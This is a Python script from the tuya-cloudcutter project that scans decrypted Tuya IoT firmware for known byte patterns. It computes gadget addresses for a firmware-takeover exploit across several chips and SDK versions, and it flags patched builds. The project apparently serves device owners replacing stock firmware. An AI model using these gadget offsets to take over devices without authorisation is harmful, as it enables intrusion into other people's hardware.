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tuya-cloudcutter/profile-building/haxomatic.py
Cossid e217f7bd10 Add RTL8710BN support (#861) 
* Add CloudCutter support for unpatched RTL8710BN devices, including all supplied dumps.

* Update profile-building to support RTL8710BN profile generation.

* Update documentation.
2025-12-08 20:59:40 -06:00

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import os.path
import sys
from enum import Enum
class Platform(Enum):
BK7231T = "BK7231T"
BK7231N = "BK7231N"
RTL8720CF = "RTL8720CF"
RTL8710BN = "RTL8710BN"
class PlatformInfo(object):
def __init__(self, platform : Platform = None, base_address : int = None, start_offset : int = None):
self.platform = platform
match platform:
case Platform.BK7231T | Platform.BK7231N:
self.address_size = 3
self.base_address = base_address if base_address else 0x0
self.start_offset = start_offset if start_offset else 0x10000
case Platform.RTL8720CF:
self.address_size = 4
self.base_address = base_address if base_address else 0x9b000000
self.start_offset = start_offset if start_offset else 0x0
case Platform.RTL8710BN:
self.address_size = 4
self.base_address = base_address if base_address else 0x0800B000
self.start_offset = start_offset if start_offset else 0x0
case _:
self.address_size = 0
self.base_address = base_address if base_address else 0x0
self.start_offset = start_offset if start_offset else 0
class Pattern(object):
def __init__(self, type, matchString, count, index, padding : int = 0):
self.type = type
self.matchString = matchString
self.count = count
self.index = index
self.padding = padding
PATCHED_PATTERNS_TUYAOS3 = [
"547579614f5320563a33", # TuyaOS V:3
]
PATCHED_PATTERNS_BK7231T = [
"68301ff051f901981ef0a8ff2b1c", # Patched BK7231T
]
PATCHED_PATTERNS_BK7231N = [
"2d6811226b1dff33181c00210393", # Patched BK7231N short/combined
"2d6811226b1dff33181c0021039329f0", # Patched BK7231N 2.3.1
"2d6811226b1dff33181c002103930bf0", # Patched BK7231N 2.3.3
]
PATCHED_PATTERNS_RTL8720CF = [
"d9f80060112206f5827b", # Patched RTL8720CF TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.5_CD:1.0.0
]
class CodePatternFinder(object):
def __init__(self, platform : PlatformInfo):
self.platform = platform
def bytecode_search(self, bytecode: bytes, stop_at_first: bool = True):
offset = appcode.find(bytecode, 0)
if offset == -1:
return []
matches = [self.platform.base_address + offset]
if stop_at_first:
return matches
offset = appcode.find(bytecode, offset+1)
while offset != -1:
matches.append(self.platform.base_address + offset)
offset = appcode.find(bytecode, offset+1)
return matches
def set_final_thumb_offset(self, address):
# Because we're only scanning the app partition, we must add the offset for the bootloader
# Also add an offset of 1 for the THUMB
return address + self.platform.start_offset + 1
def name_output_file(desired_appended_name):
return appcode_path + "_" + desired_appended_name
def walk_app_code():
print(f"[+] Searching for known exploit patterns")
if b'TUYA' not in appcode:
raise RuntimeError('[!] App binary does not appear to be correctly decrypted, or has no Tuya references.')
if b'TuyaOS V:3' in appcode:
for patch_pattern in PATCHED_PATTERNS_TUYAOS3:
if check_for_patched(patch_pattern):
return
if b'AT bk7231t' in appcode:
for patch_pattern in PATCHED_PATTERNS_BK7231T:
if check_for_patched(patch_pattern):
return
if b'AT bk7231n' in appcode or b'AT BK7231NL' in appcode:
for patch_pattern in PATCHED_PATTERNS_BK7231N:
if check_for_patched(patch_pattern):
return
if b'AT rtl8720cf_ameba' in appcode:
for patch_pattern in PATCHED_PATTERNS_RTL8720CF:
if check_for_patched(patch_pattern):
return
# Early BK7231T when it was built with a realtek-like string.
if b'BK7231S_2M' in appcode and b'AT 8710_2M' in appcode:
# Older versions of BK7231T, BS version 30.04, SDK 2.0.0
if b'TUYA IOT SDK V:2.0.0 BS:30.04' in appcode:
# 04 1e 2c d1 11 9b is the byte pattern for datagram payload
# 3 matches, 2nd is correct
# 2b 68 30 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231T), "BK7231T SDK 2.0.0 8710_2M",
Pattern("datagram", "041e2cd1119b", 1, 0),
Pattern("finish", "2b68301c9847", 1, 0))
return
# Older versions of BK7231T, BS version 30.05/30.06, SDK 2.0.0
if b'TUYA IOT SDK V:2.0.0 BS:30.05' in appcode or b'TUYA IOT SDK V:2.0.0 BS:30.06' in appcode:
# 04 1e 07 d1 11 9b 21 1c 00 is the byte pattern for datagram payload
# 3 matches, 2nd is correct
# 2b 68 30 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231T), "BK7231T SDK 2.0.0 8710_2M",
Pattern("datagram", "041e07d1119b211c00", 3, 1),
Pattern("finish", "2b68301c9847", 1, 0))
return
# Oddball BK7231T built without bluetooth support.
if b'AT bk7231t_nobt' in appcode:
# Newer versions of BK7231T, BS 40.00, SDK 1.0.x, nobt
if b'TUYA IOT SDK V:1.0.' in appcode:
# b5 4f 06 1e 07 d1 is the byte pattern for datagram payload
# 1 match should be found
# 23 68 38 1c 98 47 is the byte pattern for finish
# 2 matches should be found, 1st is correct
process(PlatformInfo(Platform.BK7231T), "SDK 1.0.# nobt",
Pattern("datagram", "b54f061e07d1", 1, 0),
Pattern("finish", "2368381c9847", 2, 0))
return
# Typical newer BK7231T
if b'AT bk7231t' in appcode:
# Newer versions of BK7231T, BS 40.00, SDK 1.0.x
if b'TUYA IOT SDK V:1.0.' in appcode:
# a1 4f 06 1e is the byte pattern for datagram payload
# 1 match should be found
# 23 68 38 1c 98 47 is the byte pattern for finish
# 2 matches should be found, 1st is correct
process(PlatformInfo(Platform.BK7231T), "SDK 1.0.#",
Pattern("datagram", "a14f061e", 1, 0),
Pattern("finish", "2368381c9847", 2, 0))
return
# Newer versions of BK7231T, BS 40.00, SDK 2.3.0
if b'TUYA IOT SDK V:2.3.0' in appcode:
# 04 1e 08 d1 4d 4b is the byte pattern for ssid payload with a padding of 20
# 1 match should be found
# 7b 69 20 1c 98 47 is the byte pattern for finish
# 1 match should be found, 1st is correct
process(PlatformInfo(Platform.BK7231T), "SDK 2.3.0",
Pattern("ssid", "041e08d14d4b", 1, 0, 20),
Pattern("finish", "7b69201c9847", 1, 0))
return
# Newest versions of BK7231T, BS 40.00, SDK 2.3.2
if b'TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 04 1e 00 d1 0c e7 is the byte pattern for ssid payload with a padding of 8
# 1 match should be found
# bb 68 20 1c 98 47 is the byte pattern for finish
# 1 match should be found, 1st is correct
process(PlatformInfo(Platform.BK7231T), "SDK 2.3.2",
Pattern("ssid", "041e00d10ce7", 1, 0, 8),
Pattern("finish", "bb68201c9847", 1, 0))
return
# BK7231N and BK7231NL
if b'AT bk7231n' in appcode or b'AT BK7231NL' in appcode:
# This one build is slightly different than the rest of the following 2.3.1 builds
if (b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
and b'BUILD AT:2021_02_26_12_42_29 BY embed FOR ty_iot_sdk AT bk7231n' in appcode):
# 05 1e 00 d1 c9 e6 is the byte pattern for ssid payload with a padding of 4
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.1",
Pattern("ssid", "051e00d1c9e6", 1, 0, 4),
Pattern("finish", "4368201c9847", 1, 0))
return
# BK7231N, BS 40.00, SDK 2.3.1, CAD 1.0.3
# 0.0.2 is also a variant of 2.3.1
if (b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
or b'TUYA IOT SDK V:0.0.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
or b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.3_CD:1.0.0' in appcode
or b'TUYA IOT SDK V:ffcgroup BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode):
# 05 1e 00 d1 15 e7 is the byte pattern for ssid payload with a padding of 4
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.1",
Pattern("ssid", "051e00d115e7", 1, 0, 4),
Pattern("finish", "4368201c9847", 1, 0))
return
# BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.4
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 05 1e 00 d1 13 e7 is the byte pattern for ssid payload with a padding of 4
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.3 LAN 3.3/CAD 1.0.4",
Pattern("ssid", "051e00d113e7", 1, 0, 4),
Pattern("finish", "4368201c9847", 1, 0))
return
# BK7231N, BS 40.00, SDK 2.3.3, CAD 1.0.5
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.4_CAD:1.0.5_CD:1.0.0' in appcode:
# 05 1e 00 d1 fc e6 is the byte pattern for ssid payload with a padding of 4
# 1 match should be found
# 43 68 20 1c 98 47 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.BK7231N), "SDK 2.3.3 LAN 3.4/CAD 1.0.5",
Pattern("ssid", "051e00d1fce6", 1, 0, 4),
Pattern("finish", "4368201c9847", 1, 0))
return
# Special case for a RTL8720CF build with no SDK string
# RTL8720CF, 2.3.0 SDK with no SDK string
if b'TUYA IOT SDK' not in appcode and b'AmebaZII' in appcode and b'\x002.3.0\x00' in appcode:
# 28 46 66 6a b0 47 is the byte pattern for ssid with a padding of 4
# 1 match should be found
# df f8 3c 81 06 46 is the byte pattern for passwd with a padding of 2
# 1 match should be found
# 04 46 30 b1 00 68 is the byte pattern for finish
# 2 matches should be found, second is correct
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.0",
Pattern("ssid", "2846666ab047", 1, 0, 4),
Pattern("passwd", "dff83c810646", 1, 0, 2),
Pattern("finish", "044630b10068", 2, 1))
return
# RTL8720CF
if b'AT rtl8720cf_ameba' in appcode:
# TUYA IOT SDK V:1.0.8 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
# TUYA IOT SDK V:1.0.11 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
# TUYA IOT SDK V:1.0.12 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
# TUYA IOT SDK V:1.0.13 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
# TUYA IOT SDK V:1.0.14 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
if b'TUYA IOT SDK V:1.0.' in appcode:
# SDK 1.0.x has a special XIP load address and offset
process(PlatformInfo(Platform.RTL8720CF, 0x9b000000 - 0x8000), "SDK 1.0.x",
Pattern("token", "464f054628b9", 1, 0),
Pattern("finish", "d8f8003011aa", 1, 0))
return
# RTL8720CF 2.3.0 SDK with SDK string
if (b'TUYA IOT SDK V:2.3.0 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode
and (b'BUILD AT:2021_01_06_11_13_21 BY embed FOR ty_iot_sdk_bugfix AT rtl8720cf_ameba' in appcode
or b'BUILD AT:2021_04_29_18_59_39 BY embed FOR ty_iot_sdk_bugfix AT rtl8720cf_ameba' in appcode)):
# 5b 68 20 46 98 47 is the byte pattern for token
# 2 matches should be found, second is correct
# df f8 34 80 06 46 is the byte pattern for passwd with a padding of 4
# 1 match should be found
# d8 f8 00 80 b8 f1 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.0",
Pattern("token", "5b6820469847", 2, 1),
Pattern("passwd", "dff834800646", 1, 0, 4),
Pattern("finish", "d8f80080b8f1", 1, 0))
return
# Same as 2.3.0 without SDK string above
if b'TUYA IOT SDK V:2.3.0 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode and b'BUILD AT:2021_06_17_16_35_07 BY embed FOR ty_iot_sdk_bugfix AT rtl8720cf_ameba' in appcode:
# 28 46 66 6a b0 47 is the byte pattern for ssid with a padding of 4
# 1 match should be found
# df f8 3c 81 06 46 is the byte pattern for passwd with a padding of 2
# 1 match should be found
# 04 46 30 b1 00 68 is the byte pattern for finish
# 2 matches should be found, second is correct
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.0",
Pattern("ssid", "2846666ab047", 1, 0, 4),
Pattern("passwd", "dff83c810646", 1, 0, 2),
Pattern("finish", "044630b10068", 2, 1))
return
# TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0
if b'TUYA IOT SDK V:2.3.1 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0' in appcode:
# 05 46 00 28 3f f4 a6 ac is the byte pattern for token
# 1 match should be found
# 28 46 d8 f8 04 30 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.1",
Pattern("token", "054600283ff4a6ac", 1, 0, 4),
Pattern("finish", "2846d8f80430", 1, 0))
return
# TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0
if b'TUYA IOT SDK V:2.3.2 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 05 46 00 28 3f f4 ba ac is the byte pattern for token
# 1 match should be found
# 28 46 d8 f8 04 30 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.2",
Pattern("token", "054600283ff4baac", 1, 0, 4),
Pattern("finish", "2846d8f80430", 1, 0))
return
# TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0
# Early 2.3.3 are the same as 2.3.2
if (b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode
and (b'BUILD AT:2021_09_22_16_52_29 BY embed FOR ty_iot_sdk AT rtl8720cf_ameba' in appcode
or b'BUILD AT:2023_03_02_17_45_15 BY ci_manage FOR ty_iot_sdk AT rtl8720cf_ameba' in appcode)):
# 05 46 00 28 3f f4 ba ac is the byte pattern for token
# 1 match should be found
# 28 46 d8 f8 04 30 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.3 (older)",
Pattern("token", "054600283ff4baac", 1, 0, 4),
Pattern("finish", "2846d8f80430", 1, 0))
return
# TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0
if b'TUYA IOT SDK V:2.3.3 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 28 46 00 f0 2a fd is the byte pattern for token
# 1 match should be found
# b8 f1 0e 0f 7f d9 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.3 (newer)",
Pattern("token", "284600f02afd", 1, 0),
Pattern("finish", "b8f10e0f7fd9", 1, 0))
return
# TUYA IOT SDK V:2.3.4 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0
# Same as 2.3.2 and earlier 2.3.3
if b'TUYA IOT SDK V:2.3.4 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.4_CD:1.0.0' in appcode:
# 05 46 00 28 3f f4 ba ac is the byte pattern for token
# 1 match should be found
# 28 46 d8 f8 04 30 is the byte pattern for finish
# 1 match should be found
process(PlatformInfo(Platform.RTL8720CF), "SDK 2.3.4",
Pattern("token", "054600283ff4baac", 1, 0, 4),
Pattern("finish", "2846d8f80430", 1, 0))
return
# TUYA IOT SDK V:2.0.0 BS:30.04_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
if b'AT 8710_2M' in appcode and b'rtl8710b' in appcode:
raise RuntimeError('RTL8710BN SDK 2.0.0 not yet supported.')
# TUYA IOT SDK V:1.0.7 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.2_CD:1.0.0
if b'AT rtl8710bn' in appcode and b'TUYA IOT SDK V:1.0.' in appcode:
# df f8 2c 81 05 46 is the byte pattern for token
# 1 match should be found
# 20 46 33 68 98 47 is the byte pattern for finish
# 2 matches should be found, use first (or any)
process(PlatformInfo(Platform.RTL8710BN), "SDK 1.0.x",
Pattern("token", "dff82c810546", 1, 0),
Pattern("finish", "204633689847", 2, 0))
return
# TUYA IOT SDK V:2.3.0 BS:40.00_PT:2.2_LAN:3.3_CAD:1.0.3_CD:1.0.0
if b'AT rtl8710bn' in appcode and b'TUYA IOT SDK V:2.3.0' in appcode:
# 40 b9 56 4b 01 93 is the byte pattern for finish
# 3 matches should be found, use first
process(PlatformInfo(Platform.RTL8710BN), "SDK 2.3.0",
Pattern("finish", "40b9564b0193", 3, 0))
return
raise RuntimeError('Unknown pattern, please open a new issue and include the bin.')
def check_for_patched(known_patch_pattern):
matcher = CodePatternFinder(PlatformInfo())
patched_bytecode = bytes.fromhex(known_patch_pattern)
patched_matches = matcher.bytecode_search(patched_bytecode, stop_at_first=True)
if patched_matches:
with open(name_output_file('patched.txt'), 'w') as f:
f.write('patched')
print("==============================================================================================================")
print("[!] The binary supplied appears to be patched and no longer vulnerable to the tuya-cloudcutter exploit.")
print("==============================================================================================================")
return True
return False
def find_payload(platformInfo, pattern : Pattern):
matcher = CodePatternFinder(platformInfo)
print(f"[+] Searching for {pattern.type}[{pattern.padding}] payload address")
bytecode = bytes.fromhex(pattern.matchString)
matches = matcher.bytecode_search(bytecode, stop_at_first=False)
if not matches or len(matches) != pattern.count:
return -1, f"[!] Failed to find {pattern.type}[{pattern.padding}] payload address (found {len(matches)}, expected {pattern.count})"
addr = matcher.set_final_thumb_offset(matches[pattern.index])
for b in addr.to_bytes(platformInfo.address_size, byteorder='little'):
if b == 0:
# TODO: make this a better alternate search if pattern.index is already max
if pattern.type == "finish" and pattern.count > 1:
print(f"[!] Preferred {pattern.type} address ({addr:X}) contained a null byte, trying available alternative")
addr = matcher.set_final_thumb_offset(matches[pattern.index + 1])
else:
return -1, f"[!] {pattern.type} address ({addr:X}) contains a null byte, unable to continue"
print(f"[+] {pattern.type}[{pattern.padding}] payload address gadget (THUMB): 0x{addr:X}")
with open(name_output_file(f'address_{pattern.type}.txt'), 'w') as f:
f.write(f'0x{addr:X}')
if pattern.padding > 0:
with open(name_output_file(f'address_{pattern.type}_padding.txt'), 'w') as f:
f.write(f"{pattern.padding}")
return 0, ""
def process(platformInfo, sdk_identifier, pattern1 : Pattern, pattern2 : Pattern = None, pattern3 : Pattern = None):
with open(name_output_file('chip.txt'), 'w') as f:
f.write(f'{platformInfo.platform.value}')
combined_payload_type = f"{pattern1.type}[{pattern1.padding}]"
if pattern2:
combined_payload_type += f" + {pattern2.type}[{pattern2.padding}]"
if pattern3:
combined_payload_type += f" + {pattern3.type}[{pattern3.padding}]"
print(f"[+] Matched pattern for {platformInfo.platform.value} {sdk_identifier}, payload type {combined_payload_type}")
pattern1_result, pattern1_message = find_payload(platformInfo, pattern1)
pattern2_message = None
if pattern2:
pattern2_result, pattern2_message = find_payload(platformInfo, pattern2)
pattern3_message = None
if pattern3:
pattern3_result, pattern3_message = find_payload(platformInfo, pattern3)
if pattern1_result < 0 or (pattern2 and pattern2_result < 0) or (pattern3 and pattern3_result < 0):
raise RuntimeError("\r\n".join([x for x in [pattern1_message, pattern2_message, pattern3_message] if x]))
with open(name_output_file('haxomatic_matched.txt'), 'w') as f:
f.write('1')
def run(decrypted_app_file: str):
if not decrypted_app_file:
print('Usage: python haxomatic.py <app code file>')
sys.exit(1)
global appcode_path, appcode
appcode_path = decrypted_app_file.replace(".bin", "")
if appcode_path.endswith("_active_app"):
appcode_path = appcode_path.replace("_active_app", "")
if os.path.exists(name_output_file("haxomatic_matched.txt")):
print('[+] Haxomatic has already been run')
return
with open(decrypted_app_file, 'rb') as fs:
appcode = fs.read()
walk_app_code()
if __name__ == '__main__':
run(sys.argv[1])
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